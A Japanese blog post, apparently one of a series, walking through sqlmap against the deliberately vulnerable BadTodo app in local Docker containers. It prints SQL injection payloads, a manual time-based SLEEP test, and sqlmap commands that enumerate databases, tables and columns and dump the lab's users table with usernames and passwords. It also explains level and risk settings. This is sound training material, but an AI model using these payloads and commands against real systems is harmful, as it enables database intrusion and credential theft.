前回:やられアプリ BadTodo - 3.7 SQLインジェクション idパラメータに対して - demandosigno
sqlmap はSQLインジェクションを検出するためのオープンソースのテストツールです。
sqlmap: automatic SQL injection and database takeover tool
これまでの検査でDB名やテーブル名など一通り分かっていますが sqlmapでも試してみます。
前提
Docker版 BadTodoを対象としており、DockerにはKali Linuxをインストール済みだったため、今回はKali からslqmapを実行しました。
手っ取り早く試すならBadTodo自体にsqlmapをインストールし127.0.0.1を対象として検査してみるで良いかと思います。
https://github.com/sqlmapproject/sqlmap
Kali LinuxをDocker Desktopにインストールする - demandosigno
Dockerコンテナ間での通信を行えるようにする - demandosigno
Todo検索画面でのSQLインジェクションを試します。
対象リクエストGET http://172.19.0.2/todo/todolist.php?key=test
コンテナ名かIPで検査対象との疎通確認。
┌──(kali㉿d617763b20cd)-[~] └─$ ping -c 2 badtodo-apache PING badtodo-apache (172.19.0.2) 56(84) bytes of data. 64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=1 ttl=64 time=0.036 ms 64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=2 ttl=64 time=0.055 ms ┌──(kali㉿d617763b20cd)-[~] └─$ ping -c 2 172.19.0.2 PING 172.19.0.2 (172.19.0.2) 56(84) bytes of data. 64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.062 ms 64 bytes from 172.19.0.2: icmp_seq=2 ttl=64 time=0.044 ms
sqlmap実行
-u : 検査対象のURL
$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" ___ __H__ ___ ___[)]_____ ___ ___ {1.7.11#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org ~(中略)~ [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit](c を入力してEnter) ~(中略)~ [INFO] testing for SQL injection on GET parameter 'key' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n](y を選択) for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n](y を選択) ~(中略)~ [INFO] GET parameter 'key' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'key' is vulnerable. Do you want to keep testing the others (if any)? [y/N] (y を選択) sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests: --- Parameter: key (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: key=test' AND 7963=7963 AND 'UBDs'='UBDs Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: key=test' AND (SELECT 1614 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(1614=1614,1))),0x71706a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LTbU'='LTbU Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: key=test';SELECT SLEEP(5)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: key=test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa Type: UNION query Title: Generic UNION query (NULL) - 10 columns Payload: key=test' UNION ALL SELECT NULL,CONCAT(0x716a766a71,0x41624b6a6354784b4244754574526e52694c685a7a77485852544b505a4464576d71434f68574451,0x71706a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - --- [20:38:34] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.57, PHP 5.3.3 back-end DBMS: MySQL >= 5.0 (MariaDB fork)
DBMS は MySQLで"key"パラメータに各種SQLインジェクションを指摘されています。
ここでは Time-based blind SQLインジェクションを試してみます。
例の通り入力
test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa
送信。
レスポンスが返ってくるのに少し時間がかかります。
BurpのRepeaterに回し、再送信してみます。
レスポンスに5,100ms≒5秒かかっており、SQL文が実行されたことが分かります。
(MySQLでは SLEEP() 関数で指定した秒数だけ処理がスリープされます。SELECT SLEEP(秒数);)
一般的な検査方法
--dbs : 発見したデータベース一覧を列挙する
--proxy : 今回はリクエストの中身を見るため BurpSuiteを経由させる
--dbms : 指定したDBに絞って攻撃
$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL --dbs ~(中略)~ fetching database names available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] sys [*] todo
-D : 使用するDBを指定
--tables : テーブル一覧を列挙
$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo --tables ~(中略)~ [INFO] fetching tables for database: 'todo' Database: todo [3 tables] +---------+ | session | | todos | | users | +---------+
-T : 使用するテーブル
--columns : カラム一覧を列挙
$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users --columns ~(中略)~ [INFO] fetching columns for table 'users' in database 'todo' Database: todo Table: users [6 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | super | int(11) | | email | varchar(64) | | icon | varchar(128) | | id | int(11) | | pwd | varchar(6) | | userid | varchar(64) | +--------+--------------+
-C : テーブルのカラムを指定
--dump : DBMSデータベースのテーブルエントリをダンプする
$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users -C userid,pwd --dump ~(中略)~ [INFO] fetching entries of column(s) 'pwd,userid' for table 'users' in database 'todo' Database: todo Table: users [2 entries] +---------+--------+ | userid | pwd | +---------+--------+ | admin | passwd | | wasbook | wasboo | +---------+--------+
POSTリクエストの場合(例:Todoを削除するリクエスト)
--data : POSTボディパラメータ
cookie : ログインしているユーザのcookie
--csrf-token : CSRFトークン名
--csrf-url : トークンが取得できるURL
$ sqlmap -u "http://172.19.0.2/todo/editlist.php" --data="todotoken=f4184427b0e98edf52d877ee6f8126c6&id%5B%5D=7&process=dellist" cookie="0cd2c678b144d6cc49c4d35c238cf382" --proxy="http://127.0.0.1:8080" --csrf-token="todotoken" --csrf-url="http://172.19.0.2/todo/todolist.php" --dbms=MySQL ~(中略)~ [CRITICAL] all tested parameters do not appear to be injectable.
この例ではSQLインジェクションは見つかりませんでした。
補足
[WARNING] target URL content is not stable :
ターゲットURLのコンテンツが安定していない。リクエスト毎にレスポンスの差異が大きいという判定。レスポンスの差分を検知することでSQLインジェクションの判定を行うため(通常レスポンスと大きく異なるということは何かしらSQL文の実行結果が表示された可能性がある)、そもそもの通常リクエストが安定していないと検知に支障が出るようです。しかし sqlmapには不安定なターゲットに由来する潜在的な "ノイズ "を自動的に除去する高度なメカニズムがあるそうなので「(C)ontinue」で問題ないようです。安定している場合は "URL Content is stable." となります。
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
ターゲットが特定の DBMS を使用していることが明確に示されている場合、通常のテストだけでなく特定の DBMS に対するテストを拡張することも可能です。
これは基本的に、その特定の DBMS に対してすべての SQL インジェクションのペイロードを実行することを意味します。
(risk は 1~3、level は 1~5 がある)
レベル2ではHTTP Cookieヘッダーのテストが追加され、レベル3ではHTTP User-Agent/Refererヘッダーが追加される。
リスク値 2 はデフォルトのレベルにクエリ時間ベースの重いSQLインジェクションのテストを追加し、3はOR ベースのSQLインジェクションのテストも追加する。
--level 1 --risk 1: 53 requests
--level 2 --risk 1: 342 requests
--level 3 --risk 1: 1080 requests
--level 4 --risk 1: 2060 requests
--level 5 --risk 1: 3280 requests
When increasing to --risk 3, the number of tests increases further:
--level 1 --risk 3: 112 requests
--level 2 --risk 3: 646 requests
--level 3 --risk 3: 2160 requests
--level 4 --risk 3: 4320 requests
--level 5 --risk 3: 7850 requests
sql injection - What are the consequences of increasing the "--risk" option of sqlmap? - Information Security Stack Exchange
[CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
Proxyが影響している場合がある。検査対象をProxy経由で見ている場合はProxyを外す。または --proxy オプションを正しく使用する。
[WARNING] time-based comparison requires larger statistical model, please wait.. (done)
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[警告]時間ベースの比較には、より大きな統計モデルが必要です。
少なくとも1つの他の(可能性のある)テクニックが見つからない場合は、基本的なUNIONテストのみを実行することをお勧めします。リクエスト数を減らしますか?[Y/n]
再検査を行う時は --flush-session オプションを付ける。
例 $ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --flush-session
https://book.hacktricks.xyz/v/jp/pentesting-web/sql-injection/sqlmap
Step 13: SQLMap Essentials. Apologies everyone, been a couple of… | by Josh Gates | Medium
ハッカーはsqlmapでSQLインジェクションの欠陥を検出する(Kali Linux) | AIを武器にホワイトハッカーになる